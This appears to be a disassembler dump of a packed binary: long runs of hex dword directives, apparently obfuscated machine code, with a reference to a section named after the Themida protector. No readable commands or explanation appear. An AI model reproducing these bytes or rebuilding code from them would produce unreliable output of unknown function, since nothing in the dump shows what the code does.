0D94C4175h, 10860DB0h dd 96806A3Bh, 0C8AD1D9Dh, 2E68D85Bh, 5046B635h, 286EDE63h dd 497E31B8h, 7A647AEAh, 0D94CBC39h, 10860DB0h, 0F5806A3Bh dd 0A74EBE3Eh, 1570FC78h, 0B39C71A5h, 99096E83h, 0C0EF969Dh dd 8144A507h, 10860D58h, 0D9A350BAh, 52CECFD7h, 98876E41h dd 86BAB1Bh, 10863CC4h, 29208F26h, 97A8E7C4h, 704Ch, 0C7246000h dd 0BFE45F57h, 0BB1086F2h, 346FDDFh, 0EA1086F2h, 0E858DAD9h dd 21289702h, 97A81A9Ch, 0D24h, 9B191A00h, 3D1C0C2Bh, 6CF2C9B1h dd 0C524967Eh, 0EC57B839h, 1086F2A5h, 5E587748h, 3E78E845h dd 55416E41h, 296DDD5Ch, 8EEF4E63h, 86F292B7h, 67485910h dd 0B2228683h, 5A85EC84h, 0A7179B98h, 73E346C3h, 0A22E8DA2h dd 0F89DB222h, 0E3624F34h, 0A04A4373h, 979F0F73h, 70FC7CB5h dd 0DE8CA313h, 5A5CCC2Dh, 0C7F69Fh, 0D7831282h, 749C35FEh dd 0CB93193Ah, 86D4D1F8h, 0DF8B9C10h, 0D570D132h, 1086D48Ch dd 4DF363E2h, 7963537Ch, 0A924045Ch, 7416EA8Fh, 47AA36B7h dd 3CBEF8D7h, 0B8E1647Ah, 0B61086E0h, 555EC232h, 78DF793Ch dd 9A705F54h, 4499B01Fh, 0AC97A87Dh, 5Fh, 3AC62480h, 724B4BBBh dd 0E85B815Dh, 1086F2A1h, 0A58F7B4Ch, 0D5C1318Ch, 0DCEBD259h dd 1807EE5Eh, 22EC2A9Ah, 6EBCCF35h, 0A8421E7Bh, 659D056Bh dd 1787E489h, 0E06F4540h, 0C671C7CFh, 56D6DB17h, 2BDFB0E6h dd 0A8762D80h, 3B9397h, 24A70000h, 536056C6h, 309581F1h dd 11715689h, 2468D4A1h, 7B6155C5h, 0E3A5CA5Ah, 8A602241h dd 865DF31Bh, 312BEF10h, 865D4F92h, 6D1D2E10h, 4BAE9B42h dd 0D197A8C9h, 1, 59C924E5h, 7FE7445Dh, 0CD2C9051h, 11F7A5Dh dd 0F362B186h, 477ABCC9h, 0DB5D5668h, 61522B6Bh, 494670E0h dd 299073A1h, 74F73CB6h, 48A56604h, 0C96D3DD8h, 8B8BFB7Dh dd 7A00A5B2h, 0FB0564A3h, 4AA90AD4h, 972E30DAh, 169B768Fh dd 6879BD8Eh, 25FA9B0Bh, 568856C6h, 9366AAEFh, 0AA405116h dd 66C2096Ch, 9B01693h, 2292F1D6h, 0EF5FDC53h, 0D839BAA7h dd 9366246Dh, 0D9F6C716h, 4C731ADDh, 0ED88F87Bh, 0BDAE35B8h dd 109BB9Dh, 0ABCF0000h, 0D903DB0Bh, 0A6ED5DD8h, 0EDE2D444h dd 0F6529EFDh, 0DAEB169Bh, 40C1F2DCh, 7AF93AD0h, 37B46B0Ah dd 0A40DCFC7h, 0CB3BB945h, 2DDDF2CBh, 70F7FFCh, 0EE28981Ah dd 0E0878F5h, 0FE229215h, 0CEBB2897h, 6CCFF8E7h, 218C19FCh dd 0A79DBD1Eh, 4Ch, 0C0308CA5h, 0EABF22Ah, 3C4500DEh, 0BF9086F2h dd 0A81409F6h, 456A03DBh, 0CEAFF251h, 0CCE9086h, 0E0D646A7h dd 0B9FD6DD3h, 98FFEBC4h, 28582925h, 1D164816h, 577A2B9Bh dd 169086CEh, 33366505h, 0BA1086CEh, 6CA80CE9h, 84000000h dd 3DB0BABh, 9C067040h, 0FA3C0D16h, 7B1A8AE9h, 0DFD747A4h dd 93E73A64h, 6857C216h, 59C9298Ah, 930380B1h, 0D404B402h dd 0FEDE3B0Ah, 8C9D108Ah, 0AA1A998Ah, 97C5896Ch, 0A8FCE52Ch dd 189B881Ch, 0ACE387A8h, 5DA94D01h, 84F451DDh, 0A192BD92h dd 9768AE1Eh, 2C8DA6B8h, 0E5857ABCh, 0E565F44Fh, 7DB61AB1h dd 0BCDC8EFEh, 0AB1E0AEBh, 0CE3EBF0Bh, 1FE0F7C8h, 0B2E79ED0h dd 0B68D517Eh, 169FE05Bh, 0C251122h, 0C9563FAFh, 39BCFA6Ah dd 56DACD68h, 76517CE3h, 43F085F5h, 4D6650C0h, 68D85FEBh dd 607E512Eh, 2982C77Eh, 586956D3h, 0E6F84B2h, 26AF989Eh dd 0ADA68501h, 0C535B6FDh, 0EF5FE0D1h, 43EAD6A7h, 0B75E479Ch dd 0D43CBF08h, 0D28B906Ah, 0B75E7161h, 9B9B0B68h, 317h dd 4B2FF300h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh dd 4EC8178h, 89000000h, 0E2892414h, 4C281h, 0EA830000h dd 24148704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h dd 2404895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B8243489h dd 13B72FB3h, 0E0C1D8F7h, 53BE5606h, 290C1B19h, 53685EF0h dd 89000042h, 4832424h, 505E0424h, 72243481h, 8F70713Eh dd 0B9510846h, 8, 3181F101h, 70713E72h, 24348B59h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 89532404h, 4C381E3h dd 83000000h, 1C8704C3h, 7BE95C24h, 0CFFFC7Fh, 1D4B467Ch dd 32B84C56h, 30618FEh, 45E0FFC5h, 0E74D6AF5h, 363F760Fh dd 0FA772AB8h, 584969E1h, 0BE6828BFh, 49081EFFh, 4C20DCFAh dd 80272D38h, 21446C1Dh, 0EE37CC98h, 4574FF12h, 4A087D06h dd 0A93EA0A2h, 3D78CD7Eh, 0E833C5A9h, 10212F38h, 702409E1h dd 0AF14C519h, 91329926h, 0D7155D77h, 0A808B99Bh, 0F20C8CF6h dd 7D3B9AC3h, 0DC33B9B2h, 0BC5EE04Ch, 1E5650F1h, 8B3E5CF3h dd 8B173958h, 3860FC1h, 0F000000h, 4EBF8BFh, 0 dd 0E8F2BF0Fh, 7, 7B2C1EB7h, 66F8D721h, 5FAEEBBEh, 279D858Dh dd 90F80615h, 4850F50h, 51000000h, 905E6160h, 6AF88Bh dd 6AFE8Bh, 8F9BD8Bh, 858D0615h, 619008Fh, 0C033DCBEh dd 5C08320h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0B6C35040h, 1508EBFh, 0D781666Ah, 66508A49h, 489F98Bh dd 6A006A24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 7CAC356h, 0F9EDBF66h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 2B530FC3h, 0FFC145FFh, 8B79111Bh, 6830FF2h, 8B000000h dd 150D69BDh, 7995FF06h, 66061526h, 8D87DBBFh, 189C159Dh dd 0ADB58906h, 0FF061518h, 55006AD3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0EFE27CC8h dd 10E9h, 6937DA00h, 5B6489EFh, 3EB516EDh, 0D68D7E4Dh dd 959589C3h, 0FF061530h, 15153585h, 0E6816606h, 71E92AD0h dd 0E8000009h, 0 aBas db ']í™',0 db 19h, 6, 6Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0A5FBC352h, 0F129392Bh, 0FFE781E6h, 8133FD99h dd 1508ADBDh, 7D006h, 88860F00h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 1F22C350h dd 0F98B6658h, 27159D8Bh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0F85F9AC3h, 189D8589h dd 0E3810615h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 43C35646h, 55C17B0Ch, 860F152Ah, 6, 2D458531h dd 8B660615h, 0FDB0BF1h, 9D85h, 0DF816600h, 12E9FB97h dd 70000000h, 7DC65942h, 4BACD548h, 0F9D61373h, 0F6C979B0h dd 65BD8312h, 618FFh, 11840Fh, 0B70F0000h, 8BE9FCF6h, 52000000h dd 226D9529h, 0C75F0615h, 18FF6585h, 106h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B3C6B7EAh, 8FBE2B15h, 6617EBDEh, 0E962E7BEh, 4Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 33C35646h, 0AAE2990Fh dd 0A9FAE14Bh, 17E9BD33h, 85C70615h, 618FF65h, 0 dd 11E9h, 9750D400h, 0F0EB4178h, 4C36522h, 0A6C17A5Eh dd 9D8D6259h, 6152715h, 81F9B70Fh, 0FFFEFF23h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F2945D7h, 68Eh, 6DBD8900h, 8B061526h, 158D89FEh, 66061522h dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0A572C9C3h, 0E83AC63Ch, 6, 1DDA2920h, 0BD8B7DEFh dd 6151809h, 0C781665Fh, 0C3F6DDA4h, 75840F04h, 0FF000000h dd 1518A195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 7AE3388Ah, 1BD68166h, 0FE8B667Dh dd 0E9BF6690h, 12E950D9h, 58000000h, 1238B3FBh, 5B603283h dd 1E30AAB9h, 3C270157h, 6A90C8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3A6F5BC3h, 840EC961h dd 8D89BCF5h, 6150BB9h, 44FE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 4CE3CA79h dd 0AE8h, 108E7F00h, 0D3797AA6h, 0F4F3622h, 83h, 0B05F00h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1DC35646h dd 6840Fh, 0BD8B0000h, 61517DDh, 0B58B70E6h, 6150379h dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 605E09C3h, 5E9h, 0ABB1AF00h, 0BD8B3D1Bh dd 6150C41h, 0D8B60F61h, 5CE68166h, 6BA20h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 3EA10EC3h, 0A8EE9A81h, 0B58B37B3h, 6150801h, 6AC38Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0FC3C3h, 7E8F9h, 8C690000h, 539C934Bh, 0FA8B5E26h dd 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 375C30C3h, 0B589EDCBh, 6150119h dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 93F9FDC3h, 8B665250h, 5A310FF7h, 0EE85058h dd 27000000h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h, 5E8EFh dd 51CD0000h, 530C065Ch, 935F5E5Eh, 0BE8h, 8E91400h, 512E1B66h dd 3935253Fh, 0FF5EFA8Bh, 1508ADB5h, 2195FF06h, 8906152Eh dd 150A759Dh, 0E600B006h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7638872Ah dd 0ED5926Dh, 26958509h, 71E40615h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 6DC35747h, 0C43E1A46h, 0E6EA6BCh dd 27B99D89h, 613C0615h, 252830Fh, 9E90000h, 92000000h dd 5096A0C6h, 0D1AA9039h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9F9EC355h dd 60E61475h, 2B458D89h, 0D98B0615h, 6BA61h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0C4C1A8C3h, 8DE53579h, 8B6023CBh, 1522599Dh, 0C38B6106h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C7C35646h dd 0ECEACC61h, 0BC012AD9h, 4E8C1FCh, 1E919529h, 0B58B0615h dd 61523DDh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 233FC350h, 0B9E30D24h dd 0EA078AE2h, 800FD82Bh, 6, 0A09B523h, 6A580615h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0EC56C352h, 0EBA836A5h, 2D9B58Bh, 5E90615h, 54000000h dd 631970CAh, 880FD82Bh, 140h, 0F52F28Bh, 28Ah, 5E616000h dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 80BED1DDh, 0FD8509A3h, 83061523h dd 0D93B00C1h, 0FE860Fh, 0D7810000h, 2258C274h, 8BD98C66h dd 152D99BDh, 4C1F606h, 0C0840Fh, 0D6810000h, 362B1616h dd 0A195FFF9h, 6A061518h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 4E79C352h, 291609D3h dd 0B58B8120h, 61510F5h, 6810F5Bh, 8B000000h, 15154DB5h dd 8D850106h, 2B06150Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0CF4B4863h, 87D89017h dd 487ABFF6h, 0FE8B58FBh, 8343Dh, 3F860F00h, 0F000000h dd 888h, 860F5600h, 0 dd 0E9FA8B5Fh, 50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 48C35747h, 0EC7BC9B4h, 375C3058h, 3405B58Bh dd 0C08B0615h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0DEC35141h, 8847C9B8h, 0F38B7B57h, 0D88BC38Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0AAC35343h dd 0A0637402h, 6071404Dh, 0C75858Bh, 0DA800615h, 85C76146h dd 615108Dh, 5B266D5Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 1C35040h, 8E8023Ch, 0DF000000h, 0E91F3959h dd 60668991h, 0FE9h, 4208600h, 8D1E66E5h, 0CC306876h, 7FEE3B8Bh dd 5F615E50h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 2D9EE8C3h, 66331B11h, 0BD81FA8Bh dd 61508ADh, 7D0h, 51850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0ED7CC9C3h dd 8BEF44E1h, 150561BDh, 0AD85FF06h, 6A061508h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 1A30C353h, 7E29DCF8h, 0FF131B31h, 1508ADB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0C64F92CFh, 945D4E1Bh, 0F9BF0F98h, 2E2195FFh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 9874AC3h, 15254DBDh, 66529006h, 6A5FF78Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 2A41C351h, 0BE8h, 9A109200h, 514C297h, 2B7CDFA0h, 9E8h dd 999F5200h, 5EC1C252h, 5EF803ADh, 1555B50Bh, 8B5F0615h dd 56006AF8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0BF8B30FDh, 0BF0BF54Dh, 5B2C7BD7h, 27198D89h dd 8D890615h, 6150DD5h, 491B58Bh, 0BD8B0615h, 6150C4Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1BC35545h dd 3AD1C1DFh, 0FFBEF973h, 0E97D2196h, 0Ah, 0F129392Bh dd 1458D0E6h, 8166E2DBh, 89BF92C7h, 1528CD85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 47BE502Ch, 5F229D02h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 56C35343h, 55BD8B6Ch, 0E9061534h, 0FFFFF6B3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F9C35141h dd 0BD03A3F4h db 1Dh, 2Eh, 15h byte_5BA433 db 6 ; DATA XREF: Themida_:0057C51Co dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0EBF890C3h, 4, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0ECBD939Ah dd 0A58D295Ah, 66061509h, 8D39F1BFh, 15279D85h, 0ADB53106h dd 5006151Dh, 2E60CABFh, 24048947h, 1889B589h, 0B58B0615h dd 61510FDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B97BBC3h, 15243DB5h, 89006A06h dd 1508B98Dh, 0C7858D06h, 6A06190Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7242C350h dd 0A99ABA10h, 0CB986CEDh, 226DBD8Bh, 0C0830615h, 52509005h dd 310FFA8Bh, 0C8F0Fh, 6E80000h, 26000000h, 0FEB16ABh dd 585A5EE1h, 79A0BE50h, 299042CAh, 150401BDh, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 4880C351h, 7DBD8B53h, 5E06151Eh, 0CA0FBE66h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 2C067CC3h, 91817703h, 6056B851h, 19A1BD2Bh dd 0B50B0615h, 61508F9h, 95895E61h, 615107Dh, 267995FFh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C846BBC3h, 9C159D8Dh, 0F78B0618h, 2789BD29h dd 0D3FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0A8C35141h, 2E59BD8Bh, 85FF0615h, 6151535h, 161D8D89h dd 9DE90615h, 0E8000008h, 0 dd 0D1ED815Dh, 6A06190Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F276C351h, 144D9D01h dd 2BBF0615h, 81478C83h, 1508ADBDh, 7D006h, 0D6860F00h dd 89000001h, 151DFDB5h, 799D8B06h, 6A061510h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0A514C355h, 82102AAEh, 2B3672A0h, 152DA9BDh, 0E38106h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 487CC351h, 0E871C75Ah, 11h, 8DD14A5Dh dd 14DD77FFh, 6A40004Eh, 3BE73049h, 0F195894Ah, 5F061514h dd 12E9h, 0AED9F800h, 0BD9F56h, 0F8C2D319h, 136C6E34h dd 0BE72E99h, 0D6850FDBh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F49FC356h dd 14DBB6F9h, 3EA10E7Ch, 0A26BD83h, 0F000619h, 2E84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 291502E5h, 152ED595h, 0ABE906h, 57BE0000h, 0C744FD3Ch dd 190A2685h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 711E190h, 52EAAA3Bh, 5880Fh dd 0B9BE0000h, 5F7FA118h, 11E9h, 8621A800h, 5DE7626Dh dd 8B25FD73h, 0CDE64412h, 52E90167h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0D318C357h, 0FD8D2F53h, 2685C72Fh, 6190Ah, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 4935C357h, 0C8E326C9h, 0BF0FA01Ah, 799D8DF1h dd 0F8061510h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 63EACDC3h dd 0E5E399FEh, 8174666Bh, 67442EEFh, 0DB8C6603h, 2AEDB589h dd 0C3F60615h, 65840F04h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 1452C355h dd 6870Fh, 0B5310000h, 6151195h, 0CCD9D09h, 95FF0615h dd 61518A1h, 0D19B533h, 66500615h, 89F47ABFh, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 85890AC3h, 61520CDh, 3EDE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0EB63AD3Eh dd 0A36B7DAh, 0B58BC8C4h, 6151111h, 0C78100B0h, 32B7D95Eh dd 0B50B70E6h, 6152FFDh, 19820Fh, 14E90000h, 0E8000000h dd 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 0B1F39B5Bh, 0E4B35DA7h dd 55006A71h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 66CFD25Eh, 1A68DE81h, 6AD8B60Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 9F6DC356h, 5810Fh, 0FDBE0000h, 0BA1D7E2Eh, 6, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 10C35545h, 0DB116D8Fh dd 0CA29B0C9h, 41B52BB3h, 8B061502h, 1504A1BDh, 6AC38B06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0ADCEC350h, 8B92CD73h, 150BF1BDh, 4E8C106h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 29C35040h dd 0E4D78166h, 81B5897Fh, 66061509h, 0CE8E2F7h, 0A9000000h dd 0C1E35500h, 6F2B636Dh, 5EB4530Ah, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DBB90AC3h dd 4FC681D1h, 50272F1Bh, 0DEF699BEh, 241C8976h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 2A7AB1DCh dd 0CBEA5A4h, 0ADB5FF64h, 0BE061508h, 73CBAFD2h, 2E2195FFh dd 5E500615h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0F1BED0C3h, 0EBBF66F9h, 6A70E6C9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0F6A0C357h, 3E1106ABh, 8B71E4F1h, 15037DBDh dd 0F613C06h, 1E583h, 0F18B6600h, 22D1BD8Bh, 0B60F0615h dd 6820FD8h, 81000000h, 0D1A266E6h, 6BA43h, 9D290000h dd 6150371h, 2950C38Bh, 1511499Dh, 0E8C15F06h, 0BD316004h dd 6150E09h, 12E960h, 0EA90000h, 8B6DB9A4h, 839985Ah, 35D94156h dd 96E1CF45h, 61619AB1h, 66E2F766h, 66BBE681h, 6AD82Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8334FBC3h, 58BCA0ECh, 2F4D9D89h, 0D82B0615h, 158880Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0BF3C93C3h, 0B2E7C78h, 7B9h, 0C7816600h dd 0C1835D4Bh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 1BC91456h, 0D93BF18Bh dd 100860Fh, 0BD330000h, 61510ADh, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 800AC356h, 0F55F37Fh, 681h, 850F00h, 0F6000000h, 840F04C1h dd 8Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 65C35040h, 0F463688Fh, 95FFD91Dh, 61518A1h, 12E9h, 24B00E00h dd 97144478h, 374640CCh, 8C165285h, 668B310Eh, 665BF78Bh dd 0C32BF08Bh, 0A6E78166h, 8343DD3h, 860F0000h, 32h, 0A221BE66h dd 61E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0E026F4D6h, 1EF9CCDEh, 28D5BE3Eh dd 0C08B0B6Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0E7C35343h, 20333945h, 0E88CB8ABh, 68E0Fh, 95290000h dd 6150A8Dh, 6925E681h, 0C38B6F29h, 13E9D88Bh, 0A5000000h dd 71F3710h, 3350F0A9h, 0B30C7B29h, 0B35A4CFBh, 85C72DE9h dd 6152715h, 30081FD3h, 8BF7BF0Fh, 0DE8C0h, 560A0000h dd 590111D3h, 8712B43Bh, 5F81B910h, 8ADBD81h, 7D00615h dd 850F0000h, 66h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 74C35242h, 0BB0EB692h, 0E9A31930h, 11h dd 7E4E2AC4h, 4822E508h, 11ED6C30h, 0F1E185Bh, 0AD85FFDAh dd 6A061508h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FE7FC351h, 53C9BC9Dh, 0BF66337Dh dd 0B5FFAF05h, 61508ADh, 90EE8166h, 2195FF30h, 6A06152Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5B2EC350h, 90FFBF0Fh, 7DB50Bh, 0B58B0615h dd 6150899h, 0C6D9D31h, 6A0615h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 589730C3h, 12E9F5h, 0BC600000h dd 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh, 59F68166h dd 55006A34h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 1B870FA6h, 0F000000h, 981h, 0F7BF0F00h dd 0AC5B589h, 60600615h, 1D8D0161h, 0B106151Dh, 0F98B61B7h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 82C35343h, 42089557h, 38A0F01h, 0F000000h dd 6AFAB7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E783DDC3h, 6CCC8354h, 14E8h, 81785700h dd 67DFD10Ch, 11A55943h, 858510C3h, 474D31F8h, 0F7F4BECCh dd 895F6EBAh, 15187D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0F963DB43h, 0BD8BBC7Bh dd 6152325h, 0FFF76EE9h, 6D8589FFh, 6606150Ah, 40FFE781h dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B68EBC3h, 151D61BDh, 4EB06h, 8B000000h dd 152FD9B5h, 0F18B6606h, 2773BF66h, 279D858Dh, 0DE810615h dd 0BB51B02h, 0E83BE50h, 48957A7h, 0B8BE6624h, 6A006ACFh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0EA69C350h, 55512467h, 0FE2BF3Ah, 138Dh dd 0EE900h, 0BC8F0000h, 42980DC3h, 34AD49F1h, 7D47248Dh dd 0BD8B006Ah, 6151A31h, 1652858Dh, 6A0619h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8BE041C3h dd 151501BDh, 5C08306h, 88C0Fh, 89520000h, 151A059Dh, 82BF5F06h dd 50265A38h, 89F38B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0C51EAEC3h, 66E0306Ch dd 6AE779BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 11BEF66Ah, 8B135FC6h, 151DC1B5h dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 9C38C356h, 1BBE1AC6h, 0EE745FC6h dd 267995FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F28EB1C3h, 8D0F4DD3h, 0 dd 9C159D8Dh, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5FD20EC3h, 0FFD52720h, 0E5BD8BD3h dd 0FF06151Ch, 15153585h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 63D26A1Bh dd 45BD8BA6h, 60061528h, 29DB503h, 858B0615h, 6150529h dd 836E961h, 0E80000h, 5D000000h, 165CED81h, 0E9600619h dd 6, 9339E5D9h, 0B70F374Ah, 0BD8161D7h, 61508ADh, 7D0h dd 146860Fh, 8B660000h, 699D8BF3h, 89061511h, 15177585h dd 0E38106h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0BA59C355h, 251AE799h dd 11B529E2h, 0B061525h, 0BA850FDBh, 0FC000000h, 1490BD83h dd 0F000619h, 5184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4D0B257Dh, 5E9D809h, 12000000h dd 76053A1Bh, 96E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C06E8093h, 